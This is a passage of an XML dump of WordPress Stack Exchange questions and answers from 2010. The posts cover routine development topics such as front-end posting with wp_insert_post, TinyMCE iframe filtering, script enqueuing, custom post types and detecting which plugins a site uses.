id=&quot;input-title&quot;/&amp;gt;&#xA;&#xA;&amp;lt;textarea rows=&quot;5&quot; name=&quot;post&quot; cols=&quot;66&quot; id=&quot;text-desc&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cat&quot; value=&quot;7,100&quot;/&amp;gt; &#xA;&#xA;&amp;lt;input class=&quot;subput round&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Post&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know what id did wrong..it's not working.&#xA;any ideas? thanks&lt;/p&gt;&#xA;" OwnerUserId="1043" LastEditorUserId="1043" LastEditorDisplayName="" LastEditDate="2010-12-25T22:15:09.117" LastActivityDate="2010-12-25T22:15:09.117" Title="wp_insert_post let users post to without login...broke" Tags="&lt;posts&gt;&lt;users&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="3039" PostTypeId="1" AcceptedAnswerId="3040" CreationDate="2010-10-19T06:51:13.963" Score="1" ViewCount="52" Body="&lt;p&gt;I just wanna convert all links to no follow links which are being displayed in sidebar or footer or comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this?&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-19T07:00:47.327" Title="How to convert all links to no follow links of particlular section of a webpage" Tags="&lt;links&gt;" AnswerCount="1" />
  <row Id="3040" PostTypeId="2" ParentId="3039" CreationDate="2010-10-19T07:00:47.327" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_rel_nofollow&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_rel_nofollow()&lt;/code&gt;&lt;/a&gt; does this for you. It is already called on &lt;code&gt;pre_comment_content&lt;/code&gt;, so comments should be covered. For sidebars and footers, this depends on the widgets and other code you use there, but it should be possible to call that function there too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T07:00:47.327" CommentCount="2" />
  <row Id="3041" PostTypeId="1" AcceptedAnswerId="3109" CreationDate="2010-10-19T07:13:21.403" Score="4" ViewCount="965" Body="&lt;p&gt;I have a blog that I often need to insert iframes into posts for various reasons (don't ask why just trust me!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the &quot;visual&quot; view to edit my posts the WYSIWYG constatantly strips out my iframes ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can keep the iframes in the post if I use the &quot;html&quot; view and only view/save from the &quot;html&quot; view ... however I'd &lt;strong&gt;&lt;em&gt;really&lt;/em&gt;&lt;/strong&gt; like to be able to use the normal WYSIWYG  to edit my post &lt;strong&gt;&lt;em&gt;without&lt;/em&gt;&lt;/strong&gt; having to resort to the &quot;html&quot; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to disable this behavior? I've see this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/wordpress-28-no-more-iframe&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wordpress-28-no-more-iframe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggsting editing &lt;strong&gt;wp-includes/js/tinymce/tiny_mce_config.php&lt;/strong&gt; but I'd really rather avoid doing something like that that would likely just break in a upgrade!&lt;/p&gt;&#xA;" OwnerUserId="1312" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-20T07:15:31.967" LastActivityDate="2010-10-21T08:46:54.797" Title="Make WordPress WYSIWYG not strip out iframe's" Tags="&lt;wysiwyg&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="3042" PostTypeId="2" ParentId="3021" CreationDate="2010-10-19T07:19:47.337" Score="1" ViewCount="" Body="&lt;p&gt;You say you click the &lt;em&gt;Save All Changes&lt;/em&gt; button. I think this means you are trying to edit the images via the &lt;em&gt;Upload/Insert&lt;/em&gt; images button above the editor? It's confusing, but this is not the place to edit an individual image that you already inserted into the post. In the &lt;em&gt;Gallery&lt;/em&gt; tab you can edit settings for the image in the shared &lt;em&gt;Media browser&lt;/em&gt;, but not for already inserted images. You need to do that by clicking on the image and then clicking the first button that appears (showing an image). This will give you a slightly different editing window, with an &lt;em&gt;Update&lt;/em&gt; button at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;rel&lt;/code&gt; attribute of the image link is set to &lt;code&gt;attachment&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/post.php#L768&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_fix_attachment_links()&lt;/code&gt;&lt;/a&gt; will replace the link with permalinks to the attachment when you save the post. So make sure that when you edit the image link, you first click the &lt;em&gt;&quot;None&quot;&lt;/em&gt; button to clear this value, or go to the &lt;em&gt;Advanced Settings&lt;/em&gt; tab and edit &lt;em&gt;Link Rel&lt;/em&gt; so it doesn't contain &lt;code&gt;attachment&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T07:19:47.337" CommentCount="3" />
  <row Id="3043" PostTypeId="2" ParentId="3032" CreationDate="2010-10-19T07:30:25.393" Score="1" ViewCount="" Body="&lt;p&gt;For &lt;a href=&quot;http://wordpress.org/extend/plugins/five-star-rating/&quot; rel=&quot;nofollow&quot;&gt;Five Star Rating&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/five-star-rating/faq/&quot; rel=&quot;nofollow&quot;&gt;the FAQ tells me&lt;/a&gt; you can leave out the shortcode from your articles (you added these to each article?), and then use &lt;code&gt;echo five_star_rating_func('star')&lt;/code&gt; somewhere in your template. So this is a nice example of a plugin that offers both options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-social-sharing-widgets-icons/&quot; rel=&quot;nofollow&quot;&gt;Simple Social&lt;/a&gt;, you need to disable &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/simple-social-sharing-widgets-icons/tags/0.2/simple-social.php#L135&quot; rel=&quot;nofollow&quot;&gt;the regular hook to &lt;code&gt;the_content&lt;/code&gt;&lt;/a&gt;, and then call the function yourself. That could be done with the following code, which you can place in your theme's &lt;code&gt;functions.php&lt;/code&gt; (or at the top of your &lt;code&gt;single.php&lt;/code&gt;, if you only want it gone on single pages):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'simple_social');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, to display it again where you want it, you call &lt;code&gt;simple_social()&lt;/code&gt; with an empty content string (be sure to do this in The Loop, since it relies on the global &lt;code&gt;$post&lt;/code&gt; variable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo simple_social('');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T07:30:25.393" CommentCount="1" />
  <row Id="3045" PostTypeId="1" CreationDate="2010-10-19T08:23:48.460" Score="1" ViewCount="253" Body="&lt;p&gt;I need to control an external page designed and developed in php that takes values from an external database. What I actually need is to edit and change some hardcoded content of the page with wordpress. How can this be done?? Any sugestions?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-20T07:14:25.243" LastActivityDate="2010-10-20T07:14:25.243" Title="How can I control an external php (with external database) page with WordPress?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="3046" PostTypeId="2" ParentId="3045" CreationDate="2010-10-19T09:17:02.010" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure I totally understand your question - I think you're asking how to include the content of a WordPress &quot;page&quot; on a page displaying mainly externally-stored content. The way I've handled this in the past has been to set up additional template files in your theme, one per necessary page type, that just include the $content from the WP database in the right place among the externally-stored content.&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2010-10-19T09:17:02.010" CommentCount="1" />
  <row Id="3047" PostTypeId="2" ParentId="3045" CreationDate="2010-10-19T09:37:11.110" Score="2" ViewCount="" Body="&lt;p&gt;I do not think you can use the existing post and page editing code for external content. I will suggest you try to develop a plug-in instead that will query the custom page content and display it for editing. You should be able to reuse the TinyMCE editor as it is already included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend that you consider using the &lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;Pod CMS&lt;/a&gt; plugin instead; it is a generic CMS plugin system integrated with WordPress administration backend, and is powerful enough for complex data manipulation and may meet your needs.&lt;/p&gt;&#xA;" OwnerUserId="945" LastEditorUserId="945" LastEditorDisplayName="" LastEditDate="2010-10-19T18:17:50.510" LastActivityDate="2010-10-19T18:17:50.510" />
  <row Id="3048" PostTypeId="1" AcceptedAnswerId="3049" CreationDate="2010-10-19T09:40:52.000" Score="1" ViewCount="66" Body="&lt;p&gt;The administration part for my plugin is divided into several pages and for some pages I would like to enqueue a JS source which would add jQuery functionality to various elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now this is my approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_register_init() {&#xA;&#xA; if ($_GET['page'] == 'worldexplorer_admin_location_hub')&#xA;  wp_enqueue_script('worldexplorer_admin_hub', WP_PLUGIN_URL.'/worldexplorer/admin/admin_hub.js');&#xA;}&#xA;add_action('admin_init', 'admin_register_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this requires me to check the page index of the $_GET array. Is there another way to achieve what I wish to do?&lt;/p&gt;&#xA;" OwnerUserId="945" LastActivityDate="2010-10-19T09:57:54.450" Title="Including a JS source with an admin page" Tags="&lt;plugin-development&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="3049" PostTypeId="2" ParentId="3048" CreationDate="2010-10-19T09:57:54.450" Score="2" ViewCount="" Body="&lt;p&gt;I believe there is a hook &lt;code&gt;admin_print_scripts-{$page}&lt;/code&gt; which might fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_scripts_only_on_plugin_pages&quot; rel=&quot;nofollow&quot;&gt;Load scripts only on plugin pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-19T09:57:54.450" />
  <row Id="3050" PostTypeId="2" ParentId="3027" CreationDate="2010-10-19T10:00:37.850" Score="2" ViewCount="" Body="&lt;p&gt;You can add content to the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/edit-tag-form.php&quot; rel=&quot;nofollow&quot;&gt;category edit pages&lt;/a&gt; by hooking into the &lt;code&gt;edit_category_form_fields&lt;/code&gt; (still in the form table) or &lt;code&gt;edit_category_form&lt;/code&gt; (outside the table but before the submit button). Similar hooks exist for tags or custom taxonomies, check the source. To handle these extra values you need to find a good hook yourself, make sure you handle it &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/edit-tags.php#L135&quot; rel=&quot;nofollow&quot;&gt;before &lt;code&gt;editedtag&lt;/code&gt; redirects you&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no clean meta box handlers, you need to write most code yourself. But please let us know how you did it, it might be interesting for others!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T10:00:37.850" CommentCount="1" />
  <row Id="3051" PostTypeId="2" ParentId="3045" CreationDate="2010-10-19T10:01:13.873" Score="2" ViewCount="" Body="&lt;p&gt;Assuming both are parts of same site you can load WP engine in that page and use WordPress functionality in it, see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with Your Website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it would probably make more sense to convert that page into WP page template or something. Hard to say without knowing specifics.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-19T10:01:13.873" />
  <row Id="3052" PostTypeId="2" ParentId="3038" CreationDate="2010-10-19T10:02:03.280" Score="2" ViewCount="" Body="&lt;p&gt;wp_insert_post() makes use of the current user at several points, if memory serves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you'd want to use wp_set_current_user() to switch that to some shared author user, and then switch it back to its original value when you're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, require users to be logged in and allow all groups to create drafts.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-19T10:02:03.280" CommentCount="1" />
  <row Id="3053" PostTypeId="1" CreationDate="2010-10-19T10:14:00.847" Score="0" ViewCount="129" Body="&lt;p&gt;I have a custom page. There are 7 images as thumbnail. Images are not showing in admin panel like post type. Right now I can edit, add or delete text content. I want to same for images.&lt;/p&gt;&#xA;" OwnerUserId="1176" LastActivityDate="2010-10-19T19:37:54.753" ClosedDate="2010-11-09T20:29:42.857" Title="How to add image in custom page?" Tags="&lt;theme-development&gt;&lt;design&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3054" PostTypeId="1" AcceptedAnswerId="3057" CreationDate="2010-10-19T10:52:34.353" Score="3" ViewCount="151" Body="&lt;p&gt;hi&#xA;can anyone recommend a good search engine plugin that allows the users to search for posts, blogs, forums, users, etc and shows the results as a combined result and not divided into categories?&#xA;we need a good plugin in our site that will not override the normal wordpress search.&#xA;we're using wordpress and buddypress.&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-17T14:57:04.063" LastActivityDate="2010-11-17T14:57:04.063" Title="plugin to search entire posts, blogs, forum, users" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;search&gt;&lt;buddypress&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3055" PostTypeId="2" ParentId="2889" CreationDate="2010-10-19T12:20:10.243" Score="0" ViewCount="" Body="&lt;p&gt;For anyone else where codecowboy's solution did not resolve the problem try this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a very similar issue to what I think your experiencing over there... After hours and hours of trying to resolve it by coincidence I figured out that the problem was an extra space at the bottom of my custom functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... go and try this. Open your themes main folder and look for your functions.php file. Now go to the very bottom of the page and look for the closing &lt;strong&gt;?&gt;&lt;/strong&gt; php tag. Now, make sure that there are NO tabs, spaces or line returns after the &lt;strong&gt;&gt;&lt;/strong&gt; including any comments or anything extra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me this fixed my issue and I think its a wordpress problem. If your still having the issue check to see if your calling any external php files within your functions.php file and if so do the same steps as listed above. Hope it helps someone.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-10-19T12:20:10.243" CommentCount="2" />
  <row Id="3056" PostTypeId="2" ParentId="3038" CreationDate="2010-10-19T12:38:56.920" Score="0" ViewCount="" Body="&lt;p&gt;One problem you have is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($submit)){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you declare $submit on line above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$submit = $_POST['submit'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thats why &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;isset($submit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;always will return TRUE and execute your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would although add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_ID;&#xA;if ( $user_ID )&#xA;{&#xA;     //insert your post&#xA;}&#xA;else&#xA;{&#xA;     //give that person a message &quot;Dude, you have to sign up or login to be able to submit content...&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then skip the post_date and post_type with your values those get added anyways. The less you pass to that function the less you can do wrong...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to add this to your e.g. function.php script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_post = array(&#xA;            'post_title' =&amp;gt; 'Test Post Title',&#xA;            'post_content' =&amp;gt; 'Test Post Content',&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_author' =&amp;gt; $user_ID,&#xA;&#xA;        );&#xA;wp_insert_post($new_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should insert a news post with the gioven values...&#xA;If this works the you know you have to look for the error in your form. I although think tht you cant pass categries to wp_insert_post....&#xA;But try the simple test first.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2010-10-19T12:38:56.920" CommentCount="1" />
  <row Id="3057" PostTypeId="2" ParentId="3054" CreationDate="2010-10-19T12:43:34.183" Score="2" ViewCount="" Body="&lt;p&gt;maybe this Premium Plugin can help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/relevant-search-wordpress-plugin/121503&quot; rel=&quot;nofollow&quot;&gt;http://codecanyon.net/item/relevant-search-wordpress-plugin/121503&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2010-10-19T12:43:34.183" CommentCount="2" />
  <row Id="3059" PostTypeId="1" CreationDate="2010-10-19T16:57:28.957" Score="1" ViewCount="257" Body="&lt;p&gt;Has anyone added this kind of functionality to a WP site before? I'm looking to add Facebook Like button to individual comments. This can be a Theme function or a plugin&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-10-19T17:27:57.273" Title="Facebook Like Button On Individual Comments" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="3060" PostTypeId="2" ParentId="3059" CreationDate="2010-10-19T17:27:57.273" Score="3" ViewCount="" Body="&lt;p&gt;You should add the list of comments within the comments.php file the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href=&amp;lt;?php echo urlencode(post_permalink() . '#comment-' . comment_ID()); ?&amp;gt;&amp;amp;amp;layout=standard&amp;amp;amp;show_faces=false&amp;amp;amp;width=450&amp;amp;amp;action=like&amp;amp;amp;colorscheme=light&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowTransparency=&quot;true&quot; style=&quot;border:none; overflow:hidden; width:450px; height:60px;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then customize the display rules in the stylesheet. Hope that helps. ;)&lt;/p&gt;&#xA;" OwnerUserId="444" LastActivityDate="2010-10-19T17:27:57.273" CommentCount="2" />
  <row Id="3061" PostTypeId="1" CreationDate="2010-10-19T17:39:34.760" Score="1" ViewCount="100" Body="&lt;p&gt;I'd like to be able to add a template for a page that will present pages with similar data in the same style.  For example, I want to be able to create a &quot;Person Profile&quot; template so that all personal profile pages have the same look and feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the way I might do that is copy and paste a set of &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags into different pages and update my style.css file to handle the custom classes in the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags.  While this convention would work, it requires anyone who adds content to be able to understand how to insert their images and text correctly between the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would really like is the ability to have someone fill out a simple &quot;form&quot; and then take that content and display it in a templated way on the site.  For example, there's might be a form like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Image: _______________________________ [Browse]&#xA;2. Person's Name : ______________________&#xA;3. About this Person: ___________________&#xA;[Save] [Cancel]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that this problem has been solved by others using WordPress, but I don't know where to look to solve this problem in a way that can be easily maintained.&lt;/p&gt;&#xA;" OwnerUserId="927" LastActivityDate="2010-10-20T07:43:13.940" Title="What is a good way to present templated content in WordPress?" Tags="&lt;template&gt;&lt;cms&gt;&lt;content&gt;&lt;page-template&gt;" AnswerCount="3" />
  <row Id="3062" PostTypeId="2" ParentId="3061" CreationDate="2010-10-19T17:48:03.420" Score="5" ViewCount="" Body="&lt;p&gt;If it is a strict structure, you might be better off creating a custom post type. You would then store the name in the title field, the image as the featured image, and the &quot;About&quot; would be the main content. If you need extra information, you can use custom fields (with &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;a plugin to style them&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T17:48:03.420" />
  <row Id="3063" PostTypeId="1" AcceptedAnswerId="3103" CreationDate="2010-10-19T17:58:37.057" Score="2" ViewCount="86" Body="&lt;p&gt;If someone comments on any post on my site, that comment gets displayed under another post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, if I login to my site. And click on logout link (under comment section) it redirects me to another article after log out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible reason as I read on many places, may be showing related posts. I am using following code for this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_action('erp-show-related-posts', array('title'=&amp;gt;'Most Related Post', 'num_to_display'=&amp;gt;10, 'no_rp_text'=&amp;gt;'No relevant article found.')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is basically given by a wordpress plugin &lt;a href=&quot;http://xavisys.com/wordpress-plugins/efficient-related-posts/&quot; rel=&quot;nofollow&quot;&gt;efficient related post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="5173" LastEditorDisplayName="" LastEditDate="2011-05-29T22:20:29.707" LastActivityDate="2011-05-29T22:20:29.707" Title="comments are coming on improper posts" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3064" PostTypeId="2" ParentId="3030" CreationDate="2010-10-19T18:44:31.470" Score="0" ViewCount="" Body="&lt;p&gt;I have done that before to pull our tweets into our site using the RSS. If that might help you here is the function that I have used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_echoTwitter($numb=5){&#xA; include_once(ABSPATH . WPINC . '/feed.php');&#xA;&#xA; $rss = fetch_feed('http://twitter.com/statuses/user_timeline/156582610.rss');&#xA;&#xA; if (!is_wp_error( $rss ) ) :&#xA;     $maxitems = $rss-&amp;gt;get_item_quantity($numb);&#xA;     $rss_items = $rss-&amp;gt;get_items(0, $maxitems);&#xA;&#xA; endif;&#xA;&#xA; if($maxitems == 0){&#xA;     echo 'No tweets found';&#xA; }&#xA; else{&#xA;     foreach ( $rss_items as $item ) :&#xA;         $tweet = str_replace('ttacompany: ', '', $item-&amp;gt;get_title());&#xA;         $tweet = preg_replace(&quot;/(http:\/\/[^\s]+)/&quot;, &quot;&amp;lt;a href=\&quot;$1\&quot;&amp;gt;$1&amp;lt;/a&amp;gt;&quot;, $tweet);&#xA;         echo &quot;&amp;lt;p&amp;gt;&amp;lt;a href=\&quot;http://twitter.com/ttacompany\&quot;&amp;gt;@TTACompany&amp;lt;/a&amp;gt;: $tweet&amp;lt;/p&amp;gt;&amp;lt;hr /&amp;gt;&quot;;&#xA;     endforeach;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above function is put in the function.php file in my theme and I have just called it in the place I want the feed to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see it in action, visit our company website: &lt;a href=&quot;http://tta.com.sa&quot; rel=&quot;nofollow&quot;&gt;http://tta.com.sa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1318" LastActivityDate="2010-10-19T18:44:31.470" CommentCount="1" />
  <row Id="3065" PostTypeId="2" ParentId="3061" CreationDate="2010-10-19T19:27:46.370" Score="0" ViewCount="" Body="&lt;p&gt;Write a custom plugin, use custom post type and use on this type the content of templates. You must reorganized the wpautop() adn add shortcode function. So it is possible to use a shortocde and a template tag to use the content from a template. &lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-19T19:27:46.370" CommentCount="1" />
  <row Id="3066" PostTypeId="2" ParentId="3053" CreationDate="2010-10-19T19:37:54.753" Score="0" ViewCount="" Body="&lt;p&gt;i think you have upload the images outside this page? when yes, then is it important, that you create the link form post to the attachments - it is possible with the plugin post2media, see on wp.org-repository. I have write this plugin for this problem on many users.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-19T19:37:54.753" />
  <row Id="3067" PostTypeId="2" ParentId="3041" CreationDate="2010-10-19T19:40:57.627" Score="7" ViewCount="" Body="&lt;p&gt;You can customized the filter of the tinymce, see the follow example for iframes and other tags to use Google Maps inside the TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_change_mce_options($initArray) {&#xA;    // Comma separated string od extendes tags&#xA;    // Command separated string of extended elements&#xA;    $ext = 'pre[id|name|class|style],iframe[align|longdesc|name|width|height|frameborder|scrolling|marginheight|marginwidth|src]';&#xA;&#xA;    if ( isset( $initArray['extended_valid_elements'] ) ) {&#xA;        $initArray['extended_valid_elements'] .= ',' . $ext;&#xA;    } else {&#xA;        $initArray['extended_valid_elements'] = $ext;&#xA;    }&#xA;    // maybe; set tiny paramter verify_html&#xA;    //$initArray['verify_html'] = false;&#xA;&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'fb_change_mce_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this to an custom plugin or functions.php of the theme. Also you can read more informations in my post: &lt;a href=&quot;http://wpengineer.com/1963/customize-wordpress-wysiwyg-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1963/customize-wordpress-wysiwyg-editor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-19T19:40:57.627" CommentCount="2" />
  <row Id="3068" PostTypeId="1" CreationDate="2010-10-19T20:41:08.250" Score="3" ViewCount="347" Body="&lt;p&gt;Is it at all possible to detect the list of plugins used on a WP site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, beyond my initial hunch, how can confirm for fact that a blog is indeed powered by WP?&lt;/p&gt;&#xA;" LastActivityDate="2011-06-24T03:21:57.343" Title="How to detect WP plugins used on a site" Tags="&lt;plugins&gt;" AnswerCount="5" />
  <row Id="3069" PostTypeId="2" ParentId="2849" CreationDate="2010-10-19T20:48:58.450" Score="0" ViewCount="" Body="&lt;p&gt;$args = array(&#xA;'post_type' =&gt; 'portfolio',&#xA;'taxonomy' =&gt; 'toolkit',&#xA;'category_name' =&gt; $term-&gt;slug&#xA;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;global $my_query;&#xA;$my_query = new WP_Query($args);&#xA;Where, $term can be found out using get_terms('toolkit');&#xA;This sample code might help&lt;/p&gt;&#xA;" LastActivityDate="2010-10-19T20:48:58.450" />
  <row Id="3070" PostTypeId="2" ParentId="3068" CreationDate="2010-10-19T22:11:26.670" Score="4" ViewCount="" Body="&lt;p&gt;Usually, you can detect WordPress itself by looking at the site's source code for the WordPress generator meta tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.0.1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, some sites remove this tag to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1507/steps-to-take-to-hide-the-fact-a-site-is-using-wordpress&quot;&gt;hide the fact&lt;/a&gt; that they're running WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no foolproof way to detect the list of plug-ins that are running on a site, though.  IMO this is an added security bonus - not all developers are as keen on updating their systems when things break (or vulnerabilities crop up) as the core team ... if a plug-in exposes a potential weakness on my system, the &lt;em&gt;last&lt;/em&gt; think I want to do is advertise that fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, any plug-in that adds code to the display (adding scripts, styles, meta tags, etc) &lt;em&gt;might&lt;/em&gt; call itself out.  Most scripts and styles will expose &lt;code&gt;/wp-content/plugins/{plug-in name}/&lt;/code&gt; in the URL.  Some other front-end systems will use the name of the plug-in in some kind of an HTML comment like &lt;code&gt;&amp;lt;!-- Begin Super Cool Plug-in Code --&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, generally, there's no easy way to generate a list of plug-ins used on a site unless a) you already know which plug-ins to look for or b) the site owner wants you to know.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-19T22:11:26.670" />
